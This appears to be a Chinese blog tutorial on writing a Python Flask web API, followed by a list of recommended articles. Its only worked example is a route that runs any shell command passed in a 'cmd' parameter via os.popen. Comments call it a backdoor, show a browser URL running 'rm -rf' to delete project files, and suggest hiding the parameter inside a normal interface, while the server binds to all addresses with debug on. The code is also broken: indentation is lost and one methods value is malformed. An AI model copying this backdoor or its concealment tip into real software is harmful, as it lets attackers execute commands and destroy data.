如何用python写接口

如何用python写接口?具体步骤如下: 

1、实例化server

2、装饰器下面的函数变为一个接口

3、启动服务

开发工具和流程:

python库:flask =》实例化server:server = flask.Flask(name) =》@server.route('/index',methods='post')

=》def index(arg):{}

例子:

复制代码
import os
@server.route('/error',methods=['get'])
def cmd():
cmd = flask.request.values.get('cmd') # 接口入参
res = os.popen(cmd) # 执行用户命令
return res.read() # 返回执行结果
# http://127.0.0.1:8888/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除项目文件
# 隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口
# 默认可以不传,一但传了再res = os.popen(cmd)
server.run(port=8888,debug=True,host='0.0.0.0') # 启动服务
# debug=True,改了代码后,不用重启,它会自动重启
# 'host='0.0.0.0'别人可以通过IP访问
相关推荐
AI人工智能+电脑小能手3 分钟前
【大白话说Java面试题 第97题】【Mysql篇】第27题:说说分库与分表的设计?
java·开发语言·数据库·分布式·mysql·算法
落地加湿器4 分钟前
从Hermes cli的源代码中学习skill
人工智能·python·学习·智能体·源码解读
Vertira6 分钟前
VS2022 配置Qt5/6 [已解决]
开发语言·qt
RSTJ_162511 分钟前
PYTHON+AI LLM DAY SIXTY-SEVEN
开发语言·python
FuckPatience12 分钟前
C# 继承中的使用new的陷阱,和abstract /virtual 的不同
开发语言·c#
hssfscv14 分钟前
QT的学习记录2
开发语言·qt·学习
@zulnger19 分钟前
WebDriver API及对象识别技术
笔记·python·selenium
ch.ju21 分钟前
Java Programming Chapter 4——The set-get method.
java·开发语言
dog25021 分钟前
科斯定理与平坦随机网络的自然秩序
开发语言·网络·php
Wonderful U33 分钟前
基于Python+Django的文件预览与转换系统:从架构设计到完整实现
后端·python·django